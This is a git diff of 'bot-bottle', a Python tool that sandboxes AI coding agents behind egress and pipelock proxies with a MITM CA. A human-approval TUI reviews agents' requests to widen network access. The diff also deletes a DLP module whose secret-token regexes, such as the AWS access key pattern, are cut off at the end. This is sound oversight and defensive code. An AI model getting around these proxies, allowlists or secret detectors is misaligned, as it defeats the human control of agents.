f"Stop a running bottle (`smolvm machine ls --json`) or "
f"raise _POOL_END in loopback_alias.py."
)
return "" # unreachable; die() never returns
def _alias_present(ip: str) -> bool:
bot_bottle/backend/smolmachines/prepare.py
+19 -3
View File
@@ -23,21 +23,24 @@ from ...backend.docker.bottle_state import (
bottle_identity,
egress_state_dir,
git_gate_state_dir,
pipelock_state_dir,
supervise_state_dir,
write_metadata,
)
from ...egress import Egress
from ...env import resolve_env
from ...git_gate import GitGate
from ...pipelock import PipelockProxy
from ...supervise import Supervise
from ...workspace import workspace_plan as resolve_workspace_plan
from .bottle_plan import SmolmachinesBottlePlan
from .util import smolmachines_bundle_subnet, smolmachines_preflight
# Gateway ports the bundle exposes inside its container — git-gate's
# git-daemon, supervise's MCP. The agent inside the smolvm guest
# dials these on the bundle's pinned IP.
# Gateway ports the bundle exposes inside its container — pipelock
# HTTPS proxy, git-gate's git-daemon, supervise's MCP. The agent
# inside the smolvm guest dials these on the bundle's pinned IP.
_BUNDLE_PIPELOCK_PORT = 8888
_BUNDLE_GIT_GATE_PORT = 9418
_BUNDLE_SUPERVISE_PORT = 9100
@@ -142,6 +145,18 @@ def resolve_plan(
merged_guest_env.setdefault(key, val)
agent_provision = replace(agent_provision, guest_env=merged_guest_env)
# Inner Plans for the four bundle daemons. The ABCs are
# platform-neutral — `.prepare()` writes config files + returns
# a Plan dataclass with no backend-specific assumptions. State
# dirs are still keyed by slug under the docker backend's
# bottle_state layout (shared on-host convention; not a docker
# dependency).
pipelock_dir = pipelock_state_dir(slug)
pipelock_dir.mkdir(parents=True, exist_ok=True)
proxy_plan = PipelockProxy().prepare(
bottle, slug, pipelock_dir, agent_provision.egress_routes,
)
egress_dir = egress_state_dir(slug)
egress_dir.mkdir(parents=True, exist_ok=True)
egress_plan = Egress().prepare(
@@ -166,6 +181,7 @@ def resolve_plan(
agent_image_ref=agent_image_ref,
guest_env=agent_provision.guest_env,
prompt_file=prompt_file,
proxy_plan=proxy_plan,
git_gate_plan=git_gate_plan,
egress_plan=egress_plan,
supervise_plan=supervise_plan,
bot_bottle/backend/smolmachines/provision/ca.py
+9 -6
View File
@@ -1,10 +1,13 @@
"""Install the per-bottle egress MITM CA into the smolmachines
guest's trust store (PRD 0023 chunk 4d).
"""Install the per-bottle MITM CA into the smolmachines guest's
trust store (PRD 0023 chunk 4d).
Mirrors `backend.docker.provision.ca`: copy the egress CA to
Debian's `/usr/local/share/ca-certificates/` path,
Mirrors `backend.docker.provision.ca`: select the right CA (egress
when the bottle has routes, else pipelock), copy it to Debian's
`/usr/local/share/ca-certificates/` path,
`update-ca-certificates` to rebuild the trust bundle, and log the
fingerprint once.
fingerprint once. The selected cert depends on the agent's
HTTP_PROXY target — same logic as the docker backend, since the
agent dials the same daemons through the same bundle.
`smolvm machine exec` runs commands as root in the VM (no `-u`
flag exists; the VM init is root), so we don't need the explicit
@@ -32,7 +35,7 @@ def provision_ca(plan: SmolmachinesBottlePlan, bottle: Bottle) -> None:
"""Copy the agent-facing CA cert into the guest, rebuild the
trust bundle, emit a one-line fingerprint log. Called from
`BottleBackend.provision` after the smolvm guest is up."""
cert_host_path, label = select_ca_cert(plan.egress_plan)
cert_host_path, label = select_ca_cert(plan.egress_plan, plan.proxy_plan)
bottle.cp_in(str(cert_host_path), AGENT_CA_PATH)
# Mode 0644 — readable to non-root tools in the guest.
bot_bottle/backend/smolmachines/pty_resize.py
+2 -3
View File
@@ -42,7 +42,6 @@ import subprocess
import sys
import termios
import threading
from types import FrameType
# How long to wait after the main exec starts before pushing the
@@ -124,13 +123,13 @@ def main(argv: list[str]) -> int:
machine = argv[0]
inner = argv[2:]
def sync(_signum: int | None = None, _frame: FrameType | None = None) -> None:
def sync(*_args) -> None:
size = _read_winsize()
if size is None:
return
_push_size(machine, *size)
signal.signal(signal.SIGWINCH, sync) # type: ignore[arg-type]
signal.signal(signal.SIGWINCH, sync)
proc = subprocess.Popen(inner)
# Initial sync is deferred — see _STARTUP_SYNC_DELAY_SEC.
bot_bottle/backend/smolmachines/sidecar_bundle.py
+3 -2
View File
@@ -19,7 +19,7 @@ This module ships the lifecycle primitives only — create
network, start bundle, stop bundle, remove network — wrapped
around `subprocess.run(["docker", ...])`. Wiring them into the
launch flow + populating the `BundleLaunchSpec` from the inner
Plans (EgressPlan, …) lands in chunk 2d."""
Plans (PipelockProxyPlan, EgressPlan, …) lands in chunk 2d."""
from __future__ import annotations
@@ -69,7 +69,7 @@ class BundleLaunchSpec:
# Daemon subset CSV for BOT_BOTTLE_SIDECAR_DAEMONS. The
# supervisor inside the bundle reads it to skip
# bottle-irrelevant daemons (e.g. supervise=False bottles).
daemons_csv: str = "egress"
daemons_csv: str = "egress,pipelock"
# Plain "KEY=VALUE" strings + "KEY" bare names (the bare-name
# form inherits the value from the docker-run subprocess env,
# matching the docker backend's compose-up secret-forwarding
@@ -223,6 +223,7 @@ def bundle_host_port(
f"no port mapping on {host_ip} for {container} "
f"{container_port}/tcp; got: {(result.stdout or '').strip()!r}"
)
return -1 # unreachable; die() never returns
def stop_bundle(slug: str) -> None:
bot_bottle/backend/smolmachines/smolvm.py
+2 -2
View File
@@ -52,7 +52,7 @@ class SmolvmError(RuntimeError):
pack failed, etc.). Carries the captured stderr for the
operator-facing log line."""
def __init__(self, argv: Sequence[str], result: subprocess.CompletedProcess[str]):
def __init__(self, argv: Sequence[str], result: subprocess.CompletedProcess):
self.argv = list(argv)
self.returncode = result.returncode
self.stdout = result.stdout
@@ -65,7 +65,7 @@ class SmolvmError(RuntimeError):
def _smolvm(*args: str, env: Mapping[str, str] | None = None,
check: bool = True) -> subprocess.CompletedProcess[str]:
check: bool = True) -> subprocess.CompletedProcess:
"""One subprocess call into the smolvm CLI. `check=True`
raises SmolvmError on non-zero; `check=False` returns the
CompletedProcess for the caller to inspect."""
bot_bottle/backend/util.py
+27 -11
View File
@@ -14,6 +14,7 @@ from ..log import die, info
if TYPE_CHECKING:
from ..egress import EgressPlan
from ..pipelock import PipelockProxyPlan
# Debian-family CA layout, shared by every backend (all guest images
@@ -34,20 +35,35 @@ def host_skill_dir(name: str) -> str:
return f"{home}/.claude/skills/{name}"
def select_ca_cert(egress_plan: EgressPlan) -> tuple[Path, str]:
"""Return the egress MITM CA cert path and label for provision_ca.
def select_ca_cert(
egress_plan: EgressPlan, proxy_plan: PipelockProxyPlan
) -> tuple[Path, str]:
"""Pick the agent-facing CA cert (and a short label for the log
line) that matches the proxy the agent's HTTP_PROXY points at.
Egress wins when the bottle declares any routes (it sits in front
of pipelock); else pipelock.
Launch always mints the CA and re-binds the host path into the
egress_plan before provision runs, so an empty/missing path here
means launch's bringup is broken — fatal."""
cert = egress_plan.mitmproxy_ca_cert_only_host_path
if cert == Path() or not cert.is_file():
Shared by every backend's `provision_ca`: launch mints the chosen
CA(s) and re-binds their host paths into these inner plans before
provision runs, so an empty/missing path here means launch's
bringup is broken — fatal."""
if egress_plan.routes:
cert = egress_plan.mitmproxy_ca_cert_only_host_path
if cert == Path() or not cert.is_file():
die(
f"egress CA cert missing at {cert or '(empty)'}; "
f"launch must have called egress_tls_init and "
f"re-bound the plan before provision"
)
return cert, "egress"
cert = proxy_plan.ca_cert_host_path
if not cert or not cert.is_file():
die(
f"egress CA cert missing at {cert or '(empty)'}; "
f"launch must have called egress_tls_init and "
f"re-bound the plan before provision"
f"pipelock CA cert missing at {cert or '(empty)'}; "
f"launch must have called pipelock_tls_init and re-bound "
f"the plan before provision"
)
return cert, "egress"
return cert, "pipelock"
def log_ca_fingerprint(cert_host_path: Path, label: str) -> None:
bot_bottle/cli/__init__.py
+3 -12
View File
@@ -41,18 +41,9 @@ def usage() -> None:
sys.stderr.write(" info print env, skills, and prompt details for a named agent\n")
sys.stderr.write(" init interactively create a new agent and add it to bot-bottle.json\n")
sys.stderr.write(" list list available agents or active containers\n")
sys.stderr.write(
" resume re-launch a bottle by its identity "
"(continues state from PRD 0016)\n"
)
sys.stderr.write(
" start boot a container for a named agent and "
"attach an interactive session\n"
)
sys.stderr.write(
" supervise view + approve/modify/reject pending supervise "
"proposals (PRD 0013)\n\n"
)
sys.stderr.write(" resume re-launch a bottle by its identity (continues state from PRD 0016)\n")
sys.stderr.write(" start boot a container for a named agent and attach an interactive session\n")
sys.stderr.write(" supervise view + approve/modify/reject pending supervise proposals (PRD 0013)\n\n")
sys.stderr.write(f"Run '{PROG} <command> --help' for command-specific usage.\n")
bot_bottle/cli/_common.py
+1 -1
View File
@@ -14,7 +14,7 @@ REPO_DIR = str(Path(__file__).resolve().parent.parent.parent)
def read_tty_line() -> str:
"""Mirror `IFS= read -r REPLY </dev/tty`. Falls back to stdin."""
try:
with open("/dev/tty", "r", encoding="utf-8") as tty:
with open("/dev/tty", "r") as tty:
return tty.readline().rstrip("\n")
except OSError:
return sys.stdin.readline().rstrip("\n")
bot_bottle/cli/init.py
+5 -18
View File
@@ -51,8 +51,7 @@ def cmd_init(argv: list[str]) -> int:
die(f"{target_file} exists but is not valid JSON; fix or remove it first")
if agent_name in (existing.get("agents") or {}):
sys.stderr.write(
f'bot-bottle: agent "{agent_name}" already exists in '
f'{target_file}. Overwrite? [y/N] '
f'bot-bottle: agent "{agent_name}" already exists in {target_file}. Overwrite? [y/N] '
)
sys.stderr.flush()
ow = read_tty_line()
@@ -72,10 +71,7 @@ def cmd_init(argv: list[str]) -> int:
# Prompt
print(file=sys.stderr)
info(
"System prompt — enter text, then a lone '.' on its own line to "
"finish (just '.' to leave empty):"
)
info("System prompt — enter text, then a lone '.' on its own line to finish (just '.' to leave empty):")
prompt_lines: list[str] = []
while True:
line = read_tty_line()
@@ -103,10 +99,7 @@ def cmd_init(argv: list[str]) -> int:
if bottle_name in (existing.get("bottles") or {}):
bottle_exists_already = True
info(
f"Bottle '{bottle_name}' already exists in {target_file}; "
f"agent will reference it."
)
info(f"Bottle '{bottle_name}' already exists in {target_file}; agent will reference it.")
else:
info(f"Creating new bottle '{bottle_name}'.")
bottle_env = _prompt_for_env_vars()
@@ -138,14 +131,8 @@ def cmd_init(argv: list[str]) -> int:
def _prompt_for_env_vars() -> dict[str, str]:
print(file=sys.stderr)
info(
"Env vars — enter each var name then its mode. Press Enter with "
"no name to finish."
)
info(
" Modes: secret (prompt at runtime) | interpolated (read from "
"host env) | literal (hardcoded value)"
)
info("Env vars — enter each var name then its mode. Press Enter with no name to finish.")
info(" Modes: secret (prompt at runtime) | interpolated (read from host env) | literal (hardcoded value)")
out: dict[str, str] = {}
while True:
print(file=sys.stderr)
bot_bottle/cli/start.py
+3 -28
View File
@@ -33,7 +33,6 @@ from ..backend.docker.capability_apply import snapshot_transcript
from ..log import info
from ..manifest import Manifest
from ._common import PROG, USER_CWD, read_tty_line
from . import tui
def cmd_start(argv: list[str]) -> int:
@@ -50,39 +49,15 @@ def cmd_start(argv: list[str]) -> int:
"or 'docker'). Overrides the env var when set."
),
)
parser.add_argument(
"name",
nargs="?",
default=None,
help="agent name defined in bot-bottle.json (omit to pick interactively)",
)
parser.add_argument("name", help="agent name defined in bot-bottle.json")
args = parser.parse_args(argv)
dry_run = args.dry_run or os.environ.get("BOT_BOTTLE_DRY_RUN") == "1"
manifest = Manifest.resolve(USER_CWD)
agent_name: str | None = args.name
if agent_name is None:
agent_name = tui.filter_select(
sorted(manifest.agents.keys()),
title="Select agent",
)
if agent_name is None:
return 0
backend_name: str | None = args.backend
if backend_name is None and "BOT_BOTTLE_BACKEND" not in os.environ:
backend_name = tui.filter_select(
list(known_backend_names()),
title="Select backend",
)
if backend_name is None:
return 0
spec = BottleSpec(
manifest=manifest,
agent_name=agent_name,
agent_name=args.name,
copy_cwd=args.cwd,
user_cwd=USER_CWD,
)
@@ -90,7 +65,7 @@ def cmd_start(argv: list[str]) -> int:
spec,
dry_run=dry_run,
remote_control=args.remote_control,
backend_name=backend_name,
backend_name=args.backend,
)
bot_bottle/cli/supervise.py
+66 -13
View File
@@ -3,7 +3,9 @@ act on them (approve / modify / reject).
Curses-based TUI; modify-then-approve shells out to $EDITOR. The
approval handlers wire to the per-tool remediation engines:
PRD 0014 (egress) writes routes.yaml + SIGHUPs egress; PRD 0016
PRD 0014 (egress, retargeted from cred-proxy in PRD 0017
chunk 3) writes routes.yaml + SIGHUPs egress; PRD 0015
(pipelock) writes the allowlist + restarts pipelock; PRD 0016
(capability) rebuilds the bottle Dockerfile.
"""
@@ -27,6 +29,13 @@ from ..backend.docker.capability_apply import (
apply_capability_change,
)
from ..backend.docker.egress_apply import EgressApplyError, add_route
from ..backend.docker.pipelock_apply import (
PipelockApplyError,
apply_allowlist_change,
fetch_current_allowlist,
parse_allowlist_content,
render_allowlist_content,
)
from ..log import Die, error, info
from ..supervise import (
COMPONENT_FOR_TOOL,
@@ -38,6 +47,7 @@ from ..supervise import (
STATUS_REJECTED,
TOOL_CAPABILITY_BLOCK,
TOOL_EGRESS_BLOCK,
TOOL_PIPELOCK_BLOCK,
archive_proposal,
list_pending_proposals,
render_diff,
@@ -61,7 +71,7 @@ class QueuedProposal:
# Errors any remediation engine may raise. Caught by the TUI key
# handlers and surfaced in the status line so a failed apply keeps
# the proposal pending rather than crashing curses.
ApplyError = (EgressApplyError, CapabilityApplyError)
ApplyError = (EgressApplyError, PipelockApplyError, CapabilityApplyError)
def discover_pending() -> list[QueuedProposal]:
@@ -106,12 +116,33 @@ def _detail_lines(
out.extend((" " + line, 0) for line in p.justification.splitlines() or [""])
out.extend([
("", 0),
("proposed file:", 0),
(_proposed_payload_label(p.tool) + ":", 0),
])
out.extend((line, 0) for line in p.proposed_file.splitlines() or [""])
if p.tool == TOOL_PIPELOCK_BLOCK:
host = _failed_url_host(p.proposed_file)
if host:
out.append(("", 0))
out.append((host, green_attr))
return out
def _failed_url_host(url: str) -> str:
"""Best-effort hostname extraction from a pipelock-block proposal."""
import urllib.parse
try:
return urllib.parse.urlsplit(url.strip()).hostname or ""
except ValueError:
return ""
def _proposed_payload_label(tool: str) -> str:
if tool == TOOL_PIPELOCK_BLOCK:
return "failed URL"
return "proposed file"
def _suffix_for_tool(tool: str) -> str:
if tool == TOOL_CAPABILITY_BLOCK:
return ".dockerfile"
@@ -136,6 +167,10 @@ def approve(
diff_before, diff_after = add_route(
qp.proposal.bottle_slug, file_to_apply,
)
elif qp.proposal.tool == TOOL_PIPELOCK_BLOCK:
diff_before, diff_after = _apply_pipelock_url(
qp.proposal.bottle_slug, file_to_apply,
)
elif qp.proposal.tool == TOOL_CAPABILITY_BLOCK:
_meta = read_metadata(qp.proposal.bottle_slug)
if _meta is not None and not _meta.compose_project:
@@ -175,6 +210,23 @@ def reject(qp: QueuedProposal, *, reason: str) -> None:
_write_audit(qp, action=STATUS_REJECTED, notes=reason, diff_before="", diff_after="")
def _apply_pipelock_url(slug: str, failed_url: str) -> tuple[str, str]:
"""Merge a pipelock-block failed URL's host into the allowlist."""
import urllib.parse
parsed = urllib.parse.urlsplit(failed_url.strip())
host = parsed.hostname or ""
if not host:
raise PipelockApplyError(
f"proposed failed_url has no extractable host: {failed_url!r}"
)
current = fetch_current_allowlist(slug)
hosts = parse_allowlist_content(current)
if host not in hosts:
hosts.append(host)
return apply_allowlist_change(slug, render_allowlist_content(hosts))
def _write_audit(
qp: QueuedProposal,
*,
@@ -183,7 +235,7 @@ def _write_audit(
diff_before: str,
diff_after: str,
) -> None:
"""Audit log for egress tool."""
"""Audit log for egress / pipelock tools."""
component = COMPONENT_FOR_TOOL.get(qp.proposal.tool)
if component is None:
return
@@ -211,7 +263,7 @@ def edit_in_editor(content: str, *, suffix: str = ".tmp") -> str | None:
path = f.name
try:
subprocess.run([editor, path], check=False)
with open(path, encoding="utf-8") as f:
with open(path) as f:
edited = f.read()
return edited if edited != content else None
finally:
@@ -244,7 +296,7 @@ def cmd_supervise(argv: list[str]) -> int:
else:
error("supervise exited on a fatal error (no detail captured).")
return e.code if isinstance(e.code, int) else 1
except Exception as e: # noqa: W0718 — catch supervise crash for logging
except Exception as e:
log_path = _write_crash_log(e)
error(f"supervise crashed: {type(e).__name__}: {e}")
error(f"full traceback written to {log_path}")
@@ -302,7 +354,7 @@ def _try_init_green() -> int:
return 0
def _main_loop(stdscr: "curses._CursesWindow") -> None: # type: ignore
def _main_loop(stdscr: "curses._CursesWindow") -> None:
curses.curs_set(0)
stdscr.timeout(_REFRESH_INTERVAL_MS)
green_attr = _try_init_green()
@@ -382,12 +434,12 @@ def _main_loop(stdscr: "curses._CursesWindow") -> None: # type: ignore
def _render(
stdscr: "curses._CursesWindow", # type: ignore
stdscr: "curses._CursesWindow",
pending: list[QueuedProposal],
selected: int,
status_line: str,
*,
green_attr: int = 0, # noqa: F841 — unused, but required by interface
green_attr: int = 0,
) -> None:
stdscr.erase()
h, w = stdscr.getmaxyx()
@@ -415,7 +467,8 @@ def _render(
cursor = "> " if i == selected else " "
line = (
f"{cursor}{ts_short} "
f"[{p.bottle_slug}] {p.tool:<18} {p.id[:8]}"
f"[{p.bottle_slug}] {p.tool:<18} {p.id[:8]} "
f"{_proposed_payload_label(p.tool)}"
)
attr = curses.A_REVERSE if i == selected else curses.A_NORMAL
stdscr.addnstr(row, 0, line, w - 1, attr)
@@ -435,7 +488,7 @@ def _render(
def _detail_view(
stdscr: "curses._CursesWindow", # type: ignore
stdscr: "curses._CursesWindow",
qp: QueuedProposal,
*,
green_attr: int = 0,
@@ -486,7 +539,7 @@ def _detail_view(
return
def _modify(stdscr: "curses._CursesWindow", qp: QueuedProposal) -> str | None: # type: ignore
def _modify(stdscr: "curses._CursesWindow", qp: QueuedProposal) -> str | None:
"""Suspend curses, open $EDITOR on the proposed file, return edited content."""
suffix = _suffix_for_tool(qp.proposal.tool)
curses.endwin()
@@ -497,7 +550,7 @@ def _modify(stdscr: "curses._CursesWindow", qp: QueuedProposal) -> str | None:
return edited
def _prompt(stdscr: "curses._CursesWindow", label: str) -> str: # type: ignore
def _prompt(stdscr: "curses._CursesWindow", label: str) -> str:
"""One-line input at the bottom of the screen."""
curses.curs_set(1)
h, _ = stdscr.getmaxyx()
bot_bottle/cli/tui.py
-220
View File
@@ -1,220 +0,0 @@
"""tui.py — minimal curses filter-select picker for CLI prompts.
Exposed surface:
filter_select(items, *, title="", tty_path="/dev/tty") -> str | None
Opens /dev/tty directly so the picker works even when stdout/stdin are
redirected. Returns the selected item or None on cancel.
"""
from __future__ import annotations
import curses
import os
import sys
from typing import Any, Optional
def filter_select(
items: list[str],
*,
title: str = "",
tty_path: str = "/dev/tty",
) -> Optional[str]:
"""Render a filter-select picker over *items*.
Returns the selected item string, or ``None`` if the user cancelled
(Esc / ``q`` / Ctrl-C / Ctrl-D) or if the terminal is too small.
The picker opens *tty_path* directly so it works even when
stdout/stdin are redirected.
"""
if not items:
return None
try:
tty_fd = open(tty_path, "r+b", buffering=0)
except OSError:
return None
try:
# Use os.dup() to duplicate the fd so the original file object
# and FileIO in _run_picker each manage independent copies,
# preventing double-close errors.
fd_dup = os.dup(tty_fd.fileno())
return _run_picker(items, title=title, tty_fd=fd_dup)
finally:
tty_fd.close()
# ---------------------------------------------------------------------------
# Internal implementation
# ---------------------------------------------------------------------------
_KEY_ESC = 27
_KEY_CTRL_C = 3
_KEY_CTRL_D = 4
_KEY_BACKSPACE_WIN = 8
_KEY_ENTER_ALT = 10
_CANCEL_KEYS = frozenset([_KEY_ESC, _KEY_CTRL_C, _KEY_CTRL_D, ord("q")])
def _run_picker(items: list[str], *, title: str, tty_fd: int) -> Optional[str]:
"""Drive a curses session on *tty_fd* and return the picked item."""
# newterm lets us run curses on an arbitrary fd rather than the
# process's controlling tty / stdout — crucial when stdout is piped.
os.environ.setdefault("TERM", "xterm-256color")
# Save / restore the real stdin/stdout so curses newterm can use tty_fd.
orig_stdin = sys.__stdin__
orig_stdout = sys.__stdout__
try:
import io
tty_text = io.TextIOWrapper(io.FileIO(tty_fd, mode='r+'), write_through=True)
sys.__stdin__ = tty_text # type: ignore[assignment]
sys.__stdout__ = tty_text # type: ignore[assignment]
# curses.wrapper calls initscr which honours sys.__stdin__ / __stdout__
# on some builds; use newterm where available.
screen = curses.initscr()
curses.noecho()
curses.cbreak()
screen.keypad(True)
try:
result = _picker_loop(screen, items, title=title)
finally:
screen.keypad(False)
curses.nocbreak()
curses.echo()
curses.endwin()
except Exception: # noqa: W0718 — curses can raise many error types
return None
finally:
sys.__stdin__ = orig_stdin # type: ignore[assignment]
sys.__stdout__ = orig_stdout # type: ignore[assignment]
return result
def _picker_loop(screen: Any, items: list[str], *, title: str) -> Optional[str]:
query = ""
cursor = 0
while True:
filtered = _filter_items(items, query)
# Clamp cursor into the visible list.
if not filtered:
cursor = 0
elif cursor >= len(filtered):
cursor = len(filtered) - 1
try:
_render(screen, filtered, cursor, query=query, title=title)
except curses.error:
# Terminal too small or write error — bail out.
return None
try:
key = screen.getch()
except KeyboardInterrupt:
return None
if key in _CANCEL_KEYS:
return None
if key in (curses.KEY_ENTER, _KEY_ENTER_ALT, ord("\r")):
return filtered[cursor] if filtered else None
if key in (curses.KEY_UP, ord("k")):
if cursor > 0:
cursor -= 1
elif key in (curses.KEY_DOWN, ord("j")):
if cursor < len(filtered) - 1:
cursor += 1
elif key in (curses.KEY_BACKSPACE, _KEY_BACKSPACE_WIN, 127):
query = query[:-1]
# After narrowing the filter, keep cursor in range.
new_filtered = _filter_items(items, query)
if cursor >= len(new_filtered):
cursor = max(0, len(new_filtered) - 1)
elif 32 <= key <= 126:
# Printable ASCII — append to query and reset cursor so the
# top of the newly-filtered list is selected.
query += chr(key)
cursor = 0
def _filter_items(items: list[str], query: str) -> list[str]:
if not query:
return list(items)
q = query.lower()
return [i for i in items if q in i.lower()]
def _render(screen: Any, filtered: list[str], cursor: int, *, query: str, title: str) -> None:
screen.erase()
rows, cols = screen.getmaxyx()
min_rows = 5
if rows < min_rows:
raise curses.error("terminal too small")
row = 0
if title and row < rows - 1:
_addstr_safe(screen, row, 0, title[:cols - 1], curses.A_BOLD)
row += 1
filter_label = f"Filter: {query}"
if row < rows - 1:
_addstr_safe(screen, row, 0, filter_label[:cols - 1])
row += 1
sep = "─" * min(cols - 1, 40)
if row < rows - 1:
_addstr_safe(screen, row, 0, sep)
row += 1
list_start = row
# Reserve two rows for separator + help line at bottom.
list_rows = rows - list_start - 2
if list_rows < 1:
return
# Scroll window: keep cursor visible.
scroll = max(0, cursor - list_rows + 1)
visible = filtered[scroll: scroll + list_rows]
for idx, item in enumerate(visible):
abs_idx = scroll + idx
attr = curses.A_REVERSE if abs_idx == cursor else curses.A_NORMAL
prefix = "> " if abs_idx == cursor else " "
line = (prefix + item)[:cols - 1]
if row < rows - 1:
_addstr_safe(screen, row, 0, line, attr)
row += 1
if row < rows - 1:
_addstr_safe(screen, row, 0, sep)
row += 1
help_line = "[↑↓/jk] move [Enter] select [Esc/q] cancel"
if row < rows:
_addstr_safe(screen, min(rows - 1, row), 0, help_line[:cols - 1])
screen.refresh()
def _addstr_safe(screen: Any, row: int, col: int, text: str, attr: int = curses.A_NORMAL) -> None:
try:
screen.addstr(row, col, text, attr)
except curses.error:
pass
bot_bottle/codex_auth.py
+19 -22
View File
@@ -13,7 +13,6 @@ import os
from copy import deepcopy
from datetime import datetime, timezone
from pathlib import Path
from typing import cast
from .log import die
from .util import expand_tilde
@@ -51,8 +50,7 @@ def codex_host_access_token(
tokens = raw.get("tokens")
if not isinstance(tokens, dict):
die(f"codex host credentials: {path} is missing tokens")
tokens_typed = cast(dict[str, object], tokens)
access = tokens_typed.get("access_token")
access = tokens.get("access_token")
if not isinstance(access, str) or not access:
die(
f"codex host credentials: {path} is missing tokens.access_token. "
@@ -107,14 +105,14 @@ def write_codex_dummy_auth_file(
path.chmod(0o600)
def _read_auth_object(path: Path) -> dict[str, object]:
def _read_auth_object(path: Path) -> dict:
try:
raw = json.loads(path.read_text())
except (OSError, json.JSONDecodeError) as e:
die(f"codex host credentials: could not read valid JSON at {path}: {e}")
if not isinstance(raw, dict):
die(f"codex host credentials: {path} must contain a JSON object")
return cast(dict[str, object], raw)
return raw
def _dummy_exp(now: datetime | None, exp_ts: int | None) -> int:
@@ -153,11 +151,11 @@ def _dummy_jwt_from_host(
return _dummy_jwt(now, exp_ts=exp_ts)
if not isinstance(payload, dict):
return _dummy_jwt(now, exp_ts=exp_ts)
return _encode_dummy_jwt(_redact_jwt_payload(cast(dict[str, object], payload), now=now, exp_ts=exp_ts))
return _encode_dummy_jwt(_redact_jwt_payload(payload, now=now, exp_ts=exp_ts))
def _encode_dummy_jwt(payload: dict[str, object]) -> str:
def enc(obj: dict[str, object]) -> str:
def _encode_dummy_jwt(payload: dict) -> str:
def enc(obj: dict) -> str:
raw = json.dumps(obj, separators=(",", ":")).encode()
return base64.urlsafe_b64encode(raw).decode().rstrip("=")
@@ -165,24 +163,23 @@ def _encode_dummy_jwt(payload: dict[str, object]) -> str:
def _redact_jwt_payload(
payload: dict[str, object],
payload: dict,
*,
now: datetime | None = None,
exp_ts: int | None = None,
) -> dict[str, object]:
) -> dict:
out = _redact_claims(payload)
if not isinstance(out, dict):
out = {}
out_typed: dict[str, object] = cast(dict[str, object], out)
out_typed["exp"] = _dummy_exp(now, exp_ts)
out_typed.setdefault("sub", "bot-bottle-placeholder")
return out_typed
out["exp"] = _dummy_exp(now, exp_ts)
out.setdefault("sub", "bot-bottle-placeholder")
return out
def _redact_claims(value: object) -> object:
if isinstance(value, dict):
out: dict[str, object] = {}
for key, inner in cast(dict[str, object], value).items():
for key, inner in value.items():
lower = key.lower()
if key == "https://api.openai.com/profile":
out[key] = _redact_profile_claim(inner)
@@ -210,16 +207,16 @@ def _redact_claims(value: object) -> object:
return "bot-bottle-placeholder"
def _redact_profile_claim(value: object) -> dict[str, object]:
profile = cast(dict[str, object], value) if isinstance(value, dict) else {}
def _redact_profile_claim(value: object) -> dict:
profile = value if isinstance(value, dict) else {}
return {
"email": "bot-bottle@example.invalid",
"email_verified": bool(profile.get("email_verified", True)),
}
def _redact_auth_claim(value: object) -> dict[str, object]:
auth = cast(dict[str, object], value) if isinstance(value, dict) else {}
def _redact_auth_claim(value: object) -> dict:
auth = value if isinstance(value, dict) else {}
out: dict[str, object] = {}
for key, inner in auth.items():
lower = key.lower()
@@ -250,7 +247,7 @@ def _redact_auth_claim(value: object) -> dict[str, object]:
def _redact_codex_auth(
value: object, *, now: datetime | None = None, exp_ts: int | None = None,
) -> object:
auth = cast(dict[str, object], value) if isinstance(value, dict) else {}
auth = value if isinstance(value, dict) else {}
out: dict[str, object] = {}
for key, inner in auth.items():
lower = key.lower()
@@ -272,7 +269,7 @@ def _redact_codex_auth(
def _redact_token_block(
value: object, *, now: datetime | None = None, exp_ts: int | None = None,
) -> dict[str, object]:
tokens = cast(dict[str, object], value) if isinstance(value, dict) else {}
tokens = value if isinstance(value, dict) else {}
out: dict[str, object] = {}
for key, inner in tokens.items():
lower = key.lower()
@@ -309,7 +306,7 @@ def _jwt_exp(token: str) -> datetime | None:
return None
if not isinstance(payload, dict):
return None
exp = cast(dict[str, object], payload).get("exp")
exp = payload.get("exp")
if not isinstance(exp, (int, float)):
return None
return datetime.fromtimestamp(exp, timezone.utc)
bot_bottle/contrib/claude/agent_provider.py
+2 -1
View File
@@ -94,6 +94,7 @@ class ClaudeAgentProvider(AgentProvider):
host="api.anthropic.com",
auth_scheme="Bearer" if auth_token else "",
token_ref=auth_token,
tls_passthrough=True,
),)
hidden_env_names: frozenset[str] = frozenset()
if auth_token:
@@ -143,7 +144,7 @@ class ClaudeAgentProvider(AgentProvider):
prompt (drives `--append-system-prompt-file`); the file is
copied either way so the path always exists."""
prompt_path = _prompt_path(plan.guest_home)
bottle.cp_in(str(plan.prompt_file), prompt_path) # type: ignore
bottle.cp_in(str(plan.prompt_file), prompt_path)
bottle.exec(
f"chown node:node {prompt_path} && chmod 600 {prompt_path}",
user="root",
bot_bottle/contrib/codex/agent_provider.py
+2 -1
View File
@@ -110,6 +110,7 @@ class CodexAgentProvider(AgentProvider):
host=host,
auth_scheme="Bearer" if forward_host_credentials else "",
token_ref=CODEX_HOST_CREDENTIAL_TOKEN_REF if forward_host_credentials else "",
tls_passthrough=True,
))
if forward_host_credentials:
@@ -188,7 +189,7 @@ class CodexAgentProvider(AgentProvider):
instructions in <path>.` bootstrap (see `prompt_args`); the
file is copied either way so the path always exists."""
prompt_path = _prompt_path(plan.guest_home)
bottle.cp_in(str(plan.prompt_file), prompt_path) # type: ignore
bottle.cp_in(str(plan.prompt_file), prompt_path)
bottle.exec(
f"chown node:node {prompt_path} && chmod 600 {prompt_path}",
user="root",
bot_bottle/contrib/gitea/deploy_key_provisioner.py
+1 -1
View File
@@ -117,5 +117,5 @@ def _split_owner_repo(owner_repo: str) -> tuple[str, str]:
def _read_error_body(exc: urllib.error.HTTPError) -> str:
try:
return exc.read().decode("utf-8", errors="replace")
except Exception: # noqa: broad-exception-caught — safely fallback to empty error message
except Exception:
return ""
bot_bottle/dlp_detectors.py
-166
View File
@@ -1,166 +0,0 @@
"""DLP detectors for the egress proxy (PRD 0053).
Pure Python, no mitmproxy dependency. Each detector is a module-level
function returning `ScanResult | None`.
Ships flat into the sidecar bundle image alongside
`egress_addon_core.py` — both this file and the package source use
the same try/except import shim pattern.
"""
from __future__ import annotations
import base64
import re
import typing
from urllib.parse import quote as url_quote
try:
from egress_addon_core import ScanResult # type: ignore[import-not-found]
except ImportError: # pragma: no cover - host-side path
from .egress_addon_core import ScanResult
# ---------------------------------------------------------------------------
# Token patterns detector (Phase 1a)
# ---------------------------------------------------------------------------
TOKEN_PATTERNS: tuple[tuple[str, re.Pattern[str]], ...] = (
("AWS access key", re.compile(r"AKIA[0-9A-Z]{16}")),
